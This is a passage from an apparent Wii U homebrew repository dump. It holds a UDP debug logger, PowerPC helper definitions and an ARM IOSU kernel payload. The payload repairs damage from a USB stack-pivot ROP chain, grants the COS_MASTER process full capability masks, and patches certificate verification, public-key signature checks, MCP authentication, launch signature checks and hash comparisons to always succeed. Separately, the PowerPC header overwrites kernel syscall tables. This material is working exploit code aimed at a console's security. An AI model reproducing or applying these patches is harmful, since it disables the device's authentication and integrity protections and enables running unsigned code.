m_InputHandlerRedirections.push_back(inputRedirection); 123 | } 124 | 125 | /** 126 | * @brief Register one input handler redirection structure, it will be used in 127 | * the following handler calls if the conditions matches 128 | * 129 | * @param f Function pointer 130 | */ 131 | void RegisterInputHandlerRedirection(bool (*f)(ui::UIInput*, int, int, uint32_t)) { 132 | m_InputHandlerRedirections.push_back(InputHandlerRedirect(f)); 133 | } 134 | 135 | /** 136 | * @brief Set the Online Toggle member 137 | * 138 | * @param val Boolean 139 | */ 140 | void setOnlineToggle(bool val) { 141 | m_OnlineToggle = val; 142 | } 143 | 144 | /** 145 | * @brief Get the Online Toggle member 146 | * 147 | * @return Boolean 148 | */ 149 | bool getOnlineToggle() { 150 | return m_OnlineToggle; 151 | } 152 | 153 | /** 154 | * @brief Create a Instance object of GlobalPatch 155 | * 156 | * @return ctgp::CUP0* 157 | */ 158 | static inline ctgp::GlobalPatch* createInstance() { 159 | ctgp::GlobalPatch* inst = new ctgp::GlobalPatch(); 160 | inst->Initialize(); 161 | return inst; 162 | } 163 | }; 164 | 165 | ///! CUP0 instance 166 | extern GlobalPatch* GlobalPatchInstance; 167 | } // namespace ctgp 168 | 169 | #endif -------------------------------------------------------------------------------- /source/wiiu/debug.cpp: -------------------------------------------------------------------------------- 1 | #include "debug.hpp" 2 | 3 | ctgp::common::UDPDebugger* ctgp::common::UDPDebuggerInstance = NULL; 4 | 5 | /* BEGINNING OF STATIC DEBUG HANDLER SECTION */ 6 | 7 | void ExceptionHandler(const char* type, OSContext* context) { 8 | 9 | char* symbolname = (char*)malloc(129); 10 | char* symbolname2 = (char*)malloc(129); 11 | 12 | bool valid = OSIsAddressValid(context->srr0); 13 | C_UNLESS(!valid, OSGetSymbolName(context->srr0, symbolname, 128)); 14 | C_UNLESS(valid, memcpy(symbolname, "???", 19)); 15 | 16 | valid = OSIsAddressValid(context->lr); 17 | C_UNLESS(!valid, OSGetSymbolName(context->lr, symbolname2, 128)); 18 | C_UNLESS(valid, memcpy(symbolname2, "???", 19)); 19 | 20 | char* lrBuffer = (char*)malloc(0x80); 21 | __os_snprintf(lrBuffer, 0x80, "0x%08x (%s)", context->lr, symbolname2); 22 | 23 | char* buffer = (char*)malloc(0x500); 24 | __os_snprintf(buffer, 2048, 25 | "Exception: %s - in %s\n" 26 | "Title ID: %016llX | Core: %d | UPID: %d\n\n" 27 | "" 28 | "An error has occured.\n" 29 | "Press the POWER button for 4 seconds to shutdown.\n\n" 30 | "" 31 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 32 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 33 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 34 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 35 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 36 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 37 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 38 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 39 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 40 | "r%-2d: 0x%08X | r%-2d: 0x%08X | r%-2d: 0x%08X\n" 41 | "r%-2d: 0x%08X | r%-2d: 0x%08X | LR : %s\n" 42 | "PC : 0x%08X | DAR: 0x%08X | DSISR: 0x%08X\n", 43 | type, symbolname, OSGetTitleID(), OSGetCoreId(), OSGetUPID(), 0, context->gpr[0], 11, context->gpr[11], 22, context->gpr[22], 1, context->gpr[1], 12, 44 | context->gpr[12], 23, context->gpr[23], 2, context->gpr[2], 13, context->gpr[13], 24, context->gpr[24], 3, context->gpr[3], 14, context->gpr[14], 25, 45 | context->gpr[25], 4, context->gpr[4], 15, context->gpr[15], 26, context->gpr[26], 5, context->gpr[5], 16, context->gpr[16], 27, context->gpr[27], 6, 46 | context->gpr[6], 17, context->gpr[17], 28, context->gpr[28], 7, context->gpr[7], 18, context->gpr[18], 29, context->gpr[29], 8, context->gpr[8], 19, 47 | context->gpr[19], 30, context->gpr[30], 9, context->gpr[9], 20, context->gpr[20], 31, context->gpr[31], 10, context->gpr[10], 21, context->gpr[21], lrBuffer, 48 | context->srr0, context->dar, context->dsisr); 49 | 50 | ctgp::common::UDPDebuggerInstance->PrintLog(buffer); 51 | socketclose(ctgp::common::UDPDebuggerInstance->m_SocketFd); 52 | OSFatal(buffer); 53 | } 54 | 55 | bool ExcDSI(OSContext* ctx) { 56 | ExceptionHandler("DSI", ctx); 57 | return false; 58 | } 59 | 60 | bool ExcISI(OSContext* ctx) { 61 | ExceptionHandler("ISI", ctx); 62 | return false; 63 | } 64 | 65 | bool ExcProgram(OSContext* ctx) { 66 | ExceptionHandler("Program", ctx); 67 | return false; 68 | } 69 | 70 | /* END OF STATIC DEBUG HANDLER SECTION */ 71 | 72 | ctgp::common::UDPDebugger::UDPDebugger(int port) { 73 | this->setPort(port); 74 | this->setName("ctgp::common::UDPDebugger"); 75 | memset(&this->m_SocketAddr, 0, sizeof(sockaddr_in)); 76 | } 77 | 78 | void ctgp::common::UDPDebugger::Initialize() { 79 | 80 | OSInitMutexEx(&m_SocketMutex, "UDP Debug Socket I/O Mutex"); 81 | 82 | UDPDebuggerInstance = this; 83 | 84 | int broadcastEnable = 1; 85 | this->m_SocketFd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 86 | setsockopt(this->m_SocketFd, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable)); 87 | 88 | this->m_SocketAddr.sin_family = AF_INET; 89 | this->m_SocketAddr.sin_port = this->getPort(); 90 | this->m_SocketAddr.sin_addr.s_addr = INADDR_BROADCAST; 91 | 92 | #ifdef __DEBUG__ 93 | printf("\n\nStarted debug logger.\nProject: %s v%d.%d.%d-%s by %s\n\n", PROJECT_NAME, PROJECT_VER_MAJOR, PROJECT_VER_VERSION, PROJECT_VER_MINOR, PROJECT_VER_DISC, 94 | PROJECT_AUTHOR); 95 | OSSetExceptionCallbackEx(OS_EXCEPTION_MODE_GLOBAL_ALL_CORES, OS_EXCEPTION_TYPE_DSI, (void*)ExcDSI); 96 | OSSetExceptionCallbackEx(OS_EXCEPTION_MODE_GLOBAL_ALL_CORES, OS_EXCEPTION_TYPE_ISI, (void*)ExcISI); 97 | OSSetExceptionCallbackEx(OS_EXCEPTION_MODE_GLOBAL_ALL_CORES, OS_EXCEPTION_TYPE_PROGRAM, (void*)ExcProgram); 98 | #endif 99 | } 100 | 101 | void ctgp::common::UDPDebugger::PrintLog(const char* txt) { 102 | 103 | #ifdef __DEBUG__ 104 | 105 | this->enterCriticalSection(); 106 | 107 | // conveniently "stolen" from libutils lol 108 | int len = strlen(txt); 109 | int ret; 110 | while (len > 0) { 111 | int block = len < 1400 ? len : 1400; 112 | ret = sendto(this->m_SocketFd, txt, block, 0, &this->m_SocketAddr, sizeof(sockaddr_in)); 113 | if (ret < 0) 114 | break; 115 | 116 | len -= ret; 117 | txt += ret; 118 | } 119 | 120 | this->leaveCriticalSection(); 121 | 122 | #endif 123 | } 124 | 125 | int (*__os_vsnprintf)(char* buffer, size_t size, const char* fmt, va_list) = (int (*)(char*, size_t, const char*, va_list))(0x2012D18 - 0xFE3C00); 126 | void ctgp::common::UDPDebugger::PrintLogf(const char* fmt, ...) { 127 | 128 | va_list va; 129 | char* buf1 = (char*)malloc(0x800); 130 | 131 | va_start(va, fmt); 132 | __os_vsnprintf(buf1, 0x800, fmt, va); 133 | 134 | this->PrintLog(buf1); 135 | free(buf1); 136 | 137 | va_end(va); 138 | } 139 | 140 | extern "C" int __wrap_printf(const char* fmt, ...) { 141 | 142 | va_list va; 143 | char* buf1 = (char*)malloc(0x800); 144 | 145 | va_start(va, fmt); 146 | int ret = __os_vsnprintf(buf1, 0x800, fmt, va); 147 | 148 | ctgp::common::UDPDebuggerInstance->PrintLog(buf1); 149 | free(buf1); 150 | 151 | va_end(va); 152 | 153 | return ret; 154 | } 155 | 156 | extern "C" int __wrap_puts(const char* txt) { 157 | ctgp::common::UDPDebuggerInstance->PrintLog(txt); 158 | ctgp::common::UDPDebuggerInstance->PrintLog("\n"); 159 | return strlen(txt); 160 | } -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | extern uint32_t GetControlRegister(void); 6 | extern void SetControlRegister(uint32_t newControlRegister); 7 | extern uint32_t GetCPSR(void); 8 | extern void SetCPSR(uint32_t newCPSR); 9 | extern void ClearEntireDCache(void); 10 | 11 | #define CPSR_IRQ_BIT (1 << 7) 12 | #define CPSR_FIQ_BIT (1 << 6) 13 | 14 | #define CR_MMU_BIT (1 << 0) 15 | #define CR_DCACHE_BIT (1 << 2) 16 | #define CR_ICACHE_BIT (1 << 12) 17 | 18 | typedef enum IOSU_ProcessID { 19 | IOS_KERNEL = 0, 20 | IOS_MCP = 1, 21 | IOS_BSP = 2, 22 | IOS_CRYPTO = 3, 23 | IOS_USB = 4, 24 | IOS_FS = 5, 25 | IOS_PAD = 6, 26 | IOS_NET = 7, 27 | IOS_ACP = 8, 28 | IOS_NSEC = 9, 29 | IOS_AUXIL = 10, 30 | IOS_NIM_BOSS = 11, 31 | IOS_FPD = 12, 32 | IOS_TEST = 13, 33 | COS_KERNEL = 14, 34 | COS_ROOT = 15, 35 | COS_02 = 16, 36 | COS_03 = 17, 37 | COS_OVERLAY = 18, 38 | COS_HBM = 19, 39 | COS_ERROR = 20, 40 | COS_MASTER = 21, 41 | } IOSU_ProcessID; 42 | 43 | typedef enum IOSU_PermGroup { 44 | BSP = 1, 45 | DK = 3, 46 | USB_CLS_DRV = 9, 47 | UHS = 12, 48 | FS = 11, 49 | MCP = 13, 50 | NIM = 14, 51 | ACT = 15, 52 | FPD = 16, 53 | BOSS = 17, 54 | ACP = 18, 55 | PDM = 29, 56 | AC = 20, 57 | NDM = 21, 58 | NSEC = 22, 59 | } IOSU_PermGroup; 60 | 61 | typedef struct ios_thread_t { 62 | unsigned int cpsr; 63 | unsigned int gpr[14]; 64 | unsigned int lr; 65 | unsigned int pc; 66 | void *threadQueueNext; 67 | int maxPriority; 68 | int priority; 69 | int state; 70 | int pid; 71 | int id; 72 | unsigned int flags; 73 | int exitValue; 74 | void *joinQueue; 75 | void *threadQueue; 76 | char unk1[56]; 77 | void *stackPointer; 78 | char unk2[8]; 79 | void *sysStackAddr; 80 | void *userStackAddr; 81 | unsigned int userStackSize; 82 | void *threadLocalStorage; 83 | unsigned int profileCount; 84 | unsigned int profileTime; 85 | } ios_thread_t; 86 | 87 | /* just static data @ 0x101001DC - 0x68 (from 5.5.X fw.img, same address) */ 88 | static const char usbStackPivotDamageFix[] = { 89 | 0xE5,0x8D,0xE0,0x04, 0xE5,0x8D,0xC0,0x08, 0xE5,0x8D,0x40,0x0C, 0xE5,0x8D,0x60,0x10, 90 | 0xEB,0x00,0xB2,0xFD, 0xEA,0xFF,0xFF,0xC9, 0x10,0x14,0x03,0xF8, 0x10,0x62,0x4D,0xD3, 91 | 0x10,0x14,0x50,0x00, 0x10,0x14,0x50,0x20, 0x10,0x14,0x00,0x00, 0x10,0x14,0x00,0x90, 92 | 0x10,0x14,0x00,0x70, 0x10,0x14,0x00,0x98, 0x10,0x14,0x00,0x84, 0x10,0x14,0x03,0xE8, 93 | 0x10,0x14,0x00,0x3C, 0x00,0x00,0x01,0x73, 0x00,0x00,0x01,0x76, 0xE9,0x2D,0x4F,0xF0, 94 | 0xE2,0x4D,0xDE,0x17, 0xEB,0x00,0xB9,0x92, 0xE3,0xA0,0x10,0x00, 0xE3,0xA0,0x20,0x03, 95 | 0xE5,0x9F,0x0E,0x68, 0xEB,0x00,0xB3,0x20, 96 | }; 97 | 98 | /* just static data @ 0x08120000 (from 5.5.X fw.img, same address) */ 99 | static const char kernelDamageFixData[] = { 100 | 0xe9,0x2d,0x40,0x30, 0xe1,0xa0,0x40,0x00, 0xeb,0x00,0x39,0xda, 0xe5,0x9f,0x30,0x1c, 101 | 0xe1,0xa0,0x50,0x00, 0xe1,0xa0,0x00,0x04, 0xe1,0x2f,0xff,0x33, 0xe1,0xa0,0x40,0x00, 102 | 0xe1,0xa0,0x00,0x05, 0xeb,0x00,0x39,0xd8, 0xe1,0xa0,0x00,0x04, 0xe8,0xbd,0x80,0x30, 103 | 0xff,0xff,0xe3,0xec, 0xe9,0x2d,0x40,0x30 104 | }; 105 | 106 | void memcpy_(void *where, const void *from, size_t size) { 107 | 108 | uint8_t *where_ = (uint8_t*)where; 109 | uint8_t *from_ = (uint8_t*)from; 110 | 111 | for (size_t i = 0; i < size; i++) 112 | where_[i] = from_[i]; 113 | 114 | } 115 | 116 | static int IOS_SetClientCapabilities(IOSU_ProcessID pid, IOSU_PermGroup group, uint64_t *mask) { 117 | 118 | int (*internal_setClientCapabilites)(IOSU_ProcessID processId, IOSU_PermGroup featureId, uint64_t mask) = (int(*)(IOSU_ProcessID, IOSU_PermGroup, uint64_t))0x081260a8; 119 | 120 | if(pid == COS_MASTER) 121 | return internal_setClientCapabilites(pid, group, 0xFFFFFFFFFFFFFFFF); 122 | else 123 | return internal_setClientCapabilites(pid, group, *mask); 124 | 125 | 126 | } 127 | 128 | int _main() { 129 | 130 | void(*invalidate_icache)() = (void(*)())0x0812DCF0; 131 | void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; 132 | 133 | uint32_t savedControlRegister = GetControlRegister(); 134 | uint32_t newControlRegister = savedControlRegister; 135 | 136 | uint32_t savedCPSR = GetCPSR(); 137 | uint32_t newCPSR = savedCPSR; 138 | 139 | ClearEntireDCache(); 140 | 141 | /* Mask IRQ, FIQ and disable MMU, ICache, DCache */ 142 | newCPSR |= CPSR_IRQ_BIT; 143 | newCPSR |= CPSR_FIQ_BIT; 144 | SetCPSR(newCPSR); 145 | 146 | newControlRegister &= ~CR_MMU_BIT; 147 | newControlRegister &= ~CR_DCACHE_BIT; 148 | newControlRegister &= ~CR_ICACHE_BIT; 149 | SetControlRegister(newControlRegister); 150 | 151 | /* Patch kernel panic handler */ 152 | *(uint32_t*)0x08129A24 = 0xE12FFF1E; 153 | 154 | /* Patch IOS_SetClientCapabilities to our own implementation */ 155 | *(uint32_t*)0x08141aac = (uint32_t)IOS_SetClientCapabilities; 156 | 157 | /* Fix syscall 0x4F (the one we patched to our jump func ) */ 158 | memcpy_((void*)0x08120000, kernelDamageFixData, 0x38); 159 | 160 | /* https://wiiubrew.org/wiki/IOSU#IPC */ 161 | /* Write the IPC request struct ptr in MEM1, so we can reply (svc 0x49) later on. */ 162 | *(uint32_t**)0x0012F000 = *(uint32_t**)0x1016AD18; // Always in the 0x08148xxx range 163 | 164 | /* Fix damage done by the stack pivot gagdet "construction" */ 165 | memcpy_((void*)0x10100174, usbStackPivotDamageFix, 0x68); 166 | 167 | /* copy the code to memory, the userland ROP chain will jump to it */ 168 | memcpy_((void*)0x101312D0, (void*)0x00148004, *(uint32_t*)0x00148000); 169 | 170 | *(volatile uint32_t*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT 171 | 172 | // patch cached cert check 173 | *(volatile uint32_t*)(0x05054D6C - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, 0 174 | *(volatile uint32_t*)(0x05054D70 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr 175 | 176 | // patch cert verification 177 | *(volatile uint32_t*)(0x05052A90 - 0x05000000 + 0x081C0000) = 0xe3a00000; // mov r0, #0 178 | *(volatile uint32_t*)(0x05052A94 - 0x05000000 + 0x081C0000) = 0xe12fff1e; // bx lr 179 | 180 | // patch MCP authentication check 181 | *(volatile uint32_t*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr 182 | 183 | // patch IOSC_VerifyPubkeySign to always succeed 184 | *(volatile uint32_t*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 185 | *(volatile uint32_t*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr 186 | 187 | // patch OS launch sig check 188 | *(volatile uint32_t*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0 189 | 190 | // allow custom bootLogoTex and bootMovie.h264 191 | *(volatile uint32_t*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 192 | *(volatile uint32_t*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 193 | // allow any region title launch 194 | *(volatile uint32_t*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 195 | 196 | // nop out memcmp hash checks 197 | *(volatile uint32_t*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 198 | *(volatile uint32_t*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 199 | *(volatile uint32_t*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 200 | *(volatile uint32_t*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 201 | 202 | 203 | /* Reset CR, and CPSR back to what they were */ 204 | SetControlRegister(savedControlRegister); 205 | invalidate_dcache(0x081298BC, 0x4001); 206 | invalidate_icache(); 207 | SetCPSR(savedCPSR); 208 | 209 | int (*internal_setClientCapabilites)(IOSU_ProcessID processId, IOSU_PermGroup featureId, uint64_t mask) = (int(*)(IOSU_ProcessID, IOSU_PermGroup, uint64_t))0x081260a8; 210 | internal_setClientCapabilites(COS_MASTER, FS, 0xFFFFFFFFFFFFFFFF); 211 | internal_setClientCapabilites(COS_MASTER, MCP, 0xFFFFFFFFFFFFFFFF); 212 | internal_setClientCapabilites(COS_MASTER, ACT, 0xFFFFFFFFFFFFFFFF); 213 | internal_setClientCapabilites(COS_MASTER, FPD, 0xFFFFFFFFFFFFFFFF); 214 | internal_setClientCapabilites(COS_MASTER, NSEC, 0xFFFFFFFFFFFFFFFF); 215 | 216 | return 0; 217 | } 218 | -------------------------------------------------------------------------------- /source/arch/wiiu/powerpc_750cl/ppc.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _A_ARCH_WIIU_PPC_H 2 | #define _A_ARCH_WIIU_PPC_H 3 | 4 | #include "utils.hpp" 5 | 6 | constexpr inline size_t MaxMemoryMappings = 512; 7 | 8 | #define DABR_TRANSLATION (1 << 2) 9 | #define DABR_DATA_STORE (1 << 1) 10 | #define DABR_DATA_LOAD (1 << 0) 11 | 12 | #define MSR_LE_BIT (1 << 0) // Little-endian mode enable 13 | #define MSR_RI_BIT (1 << 1) // Exeception recoverable enable 14 | #define MSR_PM_BIT (1 << 2) // Performance Monitor enable 15 | #define MSR_R0_BIT (1 << 3) // Reserved 16 | #define MSR_DR_BIT (1 << 4) // Data address translation enable 17 | #define MSR_IR_BIT (1 << 5) // Instruction address translation enable 18 | #define MSR_IP_BIT \ 19 | (1 << 6) // Exception prefix, 0 -> fetch from 0x000n_nnnn | 1 -> fetch from 20 | // 0xFFFn_nnnn 21 | #define MSR_R1_BIT (1 << 7) // Reserved 22 | #define MSR_FE1_BIT (1 << 8) // IEEE floating-point exception mode 1 23 | #define MSR_BE_BIT \ 24 | (1 << 9) // Branch trace enable (generates a branch type trace exception when 25 | // a branch instruction executes successfully) 26 | #define MSR_SE_BIT (1 << 10) // Single-step trace enable (except rfi, isync, and sc) 27 | #define MSR_FE0_BIT (1 << 11) // IEEE floating-point exception mode 0 28 | #define MSR_ME_BIT (1 << 12) // Machine check enable 29 | #define MSR_FP_BIT (1 << 13) // Floating-point available 30 | #define MSR_PR_BIT (1 << 14) // Privilege level | 0 -> supervisor mode, 1 -> user mode 31 | #define MSR_EE_BIT (1 << 15) // External interrupt enable 32 | #define MSR_ILE_BIT (1 << 16) // Exception little-endian mode 33 | #define MSR_R2_BIT (1 << 17) // Reserved 34 | #define MSR_POW_BIT (1 << 18) // Power management enable 35 | 36 | // The remaining bits are reserved. 37 | // 19 -> 21: Reserved, partial function 38 | // 22 -> 26: Reserved, full function 39 | // 27 -> 30: Reserved, partial function 40 | // 31 : Reserved, full function 41 | 42 | #define SR_CUSTOM_VSID 0x00AABBCC 43 | 44 | #define SR_T_BIT (1 << 31) 45 | #define SR_KS_BIT (1 << 30) 46 | #define SR_KS_SHIFT 30 47 | #define SR_KP_BIT (1 << 29) 48 | #define SR_KP_SHIFT 29 49 | #define SR_NX_BIT (1 << 28) 50 | #define SR_NX_SHIFT 28 51 | 52 | #define SR_VSID_MASK 0xFFFFFF 53 | 54 | #define PTEH_V_BIT (1 << 31) 55 | #define PTEH_VSID_MASK 0xFFFFFF 56 | #define PTEH_VSID_SHIFT 7 57 | #define PTEH_H_BIT (1 << 6) 58 | #define PTEH_API_MASK 0x3F 59 | 60 | #define PTEL_RPN_MASK 0xFFFFF000 61 | #define PTEL_R_BIT (1 << 8) 62 | #define PTEL_C_BIT (1 << 7) 63 | #define PTEL_WIMG_MASK 15 64 | #define PTEL_WIMG_SHIFT 3 65 | #define PTEL_PP_MASK 3 66 | 67 | #define BAT_AREA_128K 0x0 68 | #define BAT_AREA_256K 0x1 69 | #define BAT_AREA_512K 0x3 70 | #define BAT_AREA_1M 0x7 71 | #define BAT_AREA_2M 0xF 72 | #define BAT_AREA_4M 0x1F 73 | #define BAT_AREA_8M 0x3F 74 | #define BAT_AREA_16M 0x7F 75 | #define BAT_AREA_32M 0xFF 76 | #define BAT_AREA_64M 0x1FF 77 | #define BAT_AREA_128M 0x3FF 78 | #define BAT_AREA_256M 0x7FF 79 | 80 | #define BATU_BEPI_MASK 0xFFFE0000 81 | #define BATU_BL_MASK 0x7FF 82 | #define BATU_BL_SHIFT 2 83 | #define BATU_VS_BIT (1 << 1) // Can supervisor access this? (compared against MSR_PR bit) 84 | #define BATU_VP_BIT (1 << 0) // Can the user access this? (compared against MSR_PR bit) 85 | 86 | #define BATL_BRPN_MASK 0xFFFE0000 87 | #define BATL_WIMG_MASK 0xF 88 | #define BATL_WIMG_SHIFT 3 89 | #define BATL_PP_MASK 3 90 | 91 | #define SDR1_HTABORG_MASK 0xFFFF0000 92 | #define SDR1_HTABORG_SHIFT 16 93 | 94 | #define SDR1_HTABMASK_MASK 0x1FF 95 | #define SDR1_HTABMASK_8M 0 96 | #define SDR1_HTABMASK_16M 1 97 | #define SDR1_HTABMASK_32M 3 98 | #define SDR1_HTABMASK_64M 7 99 | #define SDR1_HTABMASK_128M 15 100 | #define SDR1_HTABMASK_256M 31 101 | #define SDR1_HTABMASK_512M 63 102 | #define SDR1_HTABMASK_1G 127 103 | #define SDR1_HTABMASK_2G 255 104 | #define SDR1_HTABMASK_4G 511 105 | 106 | #define SPR_SDR1 25 107 | 108 | #define SPR_DBAT0U 536 109 | #define SPR_DBAT0L 537 110 | #define SPR_DBAT1U 538 111 | #define SPR_DBAT1L 539 112 | #define SPR_DBAT2U 540 113 | #define SPR_DBAT2L 541 114 | #define SPR_DBAT3U 542 115 | #define SPR_DBAT3L 543 116 | #define SPR_DBAT4U 568 117 | #define SPR_DBAT4L 569 118 | #define SPR_DBAT5U 570 119 | #define SPR_DBAT5L 571 120 | #define SPR_DBAT6U 572 121 | #define SPR_DBAT6L 573 122 | #define SPR_DBAT7U 574 123 | #define SPR_DBAT7L 575 124 | 125 | #define SPR_IBAT0U 528 126 | #define SPR_IBAT0L 529 127 | #define SPR_IBAT1U 530 128 | #define SPR_IBAT1L 531 129 | #define SPR_IBAT2U 532 130 | #define SPR_IBAT2L 533 131 | #define SPR_IBAT3U 534 132 | #define SPR_IBAT3L 535 133 | #define SPR_IBAT4U 560 134 | #define SPR_IBAT4L 561 135 | #define SPR_IBAT5U 562 136 | #define SPR_IBAT5L 563 137 | #define SPR_IBAT6U 564 138 | #define SPR_IBAT6L 565 139 | #define SPR_IBAT7U 566 140 | #define SPR_IBAT7L 567 141 | 142 | #define SPR_LR 8 143 | #define SPR_CTR 9 144 | 145 | #define gpr0 0 146 | #define gpr1 1 147 | #define gpr2 2 148 | #define gpr3 3 149 | #define gpr4 4 150 | #define gpr5 5 151 | #define gpr6 6 152 | #define gpr7 7 153 | #define gpr8 8 154 | #define gpr9 9 155 | #define gpr10 10 156 | #define gpr11 11 157 | #define gpr12 12 158 | #define gpr13 13 159 | #define gpr14 14 160 | #define gpr15 15 161 | #define gpr16 16 162 | #define gpr17 17 163 | #define gpr18 18 164 | #define gpr19 19 165 | #define gpr20 20 166 | #define gpr21 21 167 | #define gpr22 22 168 | #define gpr23 23 169 | #define gpr24 24 170 | #define gpr25 25 171 | #define gpr26 26 172 | #define gpr27 27 173 | #define gpr28 28 174 | #define gpr29 29 175 | #define gpr30 30 176 | #define gpr31 31 177 | 178 | #define GPR_MASK 31 179 | 180 | constexpr inline uint32_t PowerPC_BL(uint32_t dest, uint32_t source) { 181 | return (0x48000001 | ((dest - source) & 0x03FFFFFC)); 182 | } 183 | constexpr inline uint32_t PowerPC_BLA(uint32_t absolute_address) { 184 | return (0x48000003 | (absolute_address & 0x03FFFFFC)); 185 | } 186 | constexpr inline uint32_t PowerPC_MFMSR(uint32_t RS) { 187 | return ((31 << 26) | (RS << 21) | (83 << 1)); 188 | } 189 | constexpr inline uint32_t PowerPC_MTMSR(uint32_t RS) { 190 | return ((31 << 26) | (RS << 21) | (146 << 1)); 191 | } 192 | constexpr inline uint32_t PowerPC_MTSPR(uint32_t RS, uint32_t SPR) { 193 | return ((31 << 26) | (RS << 21) | (SPR << 16) | (467 << 1)); 194 | } 195 | constexpr inline uint32_t PowerPC_MFSPR(uint32_t RT, uint32_t SPR) { 196 | return ((31 << 26) | (RT << 21) | (SPR << 16) | (339 << 1)); 197 | } 198 | constexpr inline uint32_t PowerPC_LWZ(uint32_t RT, uint32_t RA, uint16_t D) { 199 | return ((32 << 26) | (RT << 21) | (RA << 16) | (D & 0xFFFF)); 200 | } 201 | constexpr inline uint32_t PowerPC_LBZU(uint32_t RT, uint32_t RA, uint16_t D) { 202 | return ((35 << 26) | (RT << 21) | (RA << 16) | (D & 0xFFFF)); 203 | } 204 | constexpr inline uint32_t PowerPC_STW(uint32_t RS, uint32_t RA, uint16_t D) { 205 | return ((36 << 26) | (RS << 21) | (RA << 16) | (D & 0xFFFF)); 206 | } 207 | constexpr inline uint32_t PowerPC_STBU(uint32_t RS, uint32_t RA, uint16_t D) { 208 | return ((39 << 26) | (RS << 21) | (RA << 16) | (D & 0xFFFF)); 209 | } 210 | constexpr inline uint32_t PowerPC_LI(uint32_t RS, uint32_t VL) { 211 | return ((14 << 26) | (RS << 21) | (VL & 0xFFFF)); 212 | } 213 | constexpr inline uint32_t PowerPC_LIS(uint32_t RS, uint32_t VL) { 214 | return ((15 << 26) | (RS << 21) | (VL & 0xFFFF)); 215 | } 216 | constexpr inline uint32_t PowerPC_ANDC(uint32_t RS, uint32_t RA, uint32_t RB) { 217 | return ((31 << 26) | (RS << 21) | (RA << 16) | (RB << 11) | (60 << 1)); 218 | } 219 | constexpr inline uint32_t PowerPC_ADDI(uint32_t RT, uint32_t RA, uint16_t SI) { 220 | return ((14 << 26) | (RT << 21) | (RA << 16) | (SI & 0xFFFF)); 221 | } 222 | constexpr inline uint32_t PowerPC_BDNZ(uint32_t D, uint32_t AA, uint32_t LK) { 223 | return ((16 << 26) | (16 << 21) | ((D << 16) & 0xFFFF) | (AA << 1) | LK); 224 | } 225 | constexpr inline uint32_t PowerPC_ORI(uint32_t RS, uint32_t RA, uint16_t UI) { 226 | return ((24 << 26) | (RS << 21) | (RA << 16) | (UI & 0xFFFF)); 227 | } 228 | 229 | typedef struct PowerPC_MemoryRegisters { 230 | uint32_t sdr1; 231 | uint32_t dbatu[8]; 232 | uint32_t dbatl[8]; 233 | uint32_t ibatu[8]; 234 | uint32_t ibatl[8]; 235 | uint32_t sr[16]; 236 | } PowerPC_MemoryRegisters; 237 | 238 | extern "C" void GetMemoryRegisters(PowerPC_MemoryRegisters* reg); 239 | 240 | extern "C" void kern_write(void* addr, uint32_t value); 241 | 242 | #define RETURN_TO_HBL (0) 243 | #define RETURN_TO_NEXT_APP (-3) 244 | 245 | #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown 246 | #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games 247 | #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader 248 | #define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu 249 | #define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) 250 | 251 | static inline void wiiu_set_syscall(int index, uint32_t func_ptr) { 252 | kern_write((void*)(KERN_SYSCALL_TBL_1 + (index * 4)), func_ptr); 253 | kern_write((void*)(KERN_SYSCALL_TBL_2 + (index * 4)), func_ptr); 254 | kern_write((void*)(KERN_SYSCALL_TBL_3 + (index * 4)), func_ptr); 255 | kern_write((void*)(KERN_SYSCALL_TBL_4 + (index * 4)), func_ptr); 256 | kern_write((void*)(KERN_SYSCALL_TBL_5 + (index * 4)), func_ptr); 257 | } 258 | 259 | constexpr inline uint32_t GetWIMG(bool write_through, bool caching_inhibited, bool mem_coherence, bool guarded) { 260 | return ((write_through & 1) << 3) | ((caching_inhibited & 1) << 2) | ((mem_coherence & 1) << 1) | (guarded & 1); 261 | } 262 | 263 | extern "C" void ReadKernelPhysical(uint32_t pa_dest, uint32_t src, size_t size); 264 | void 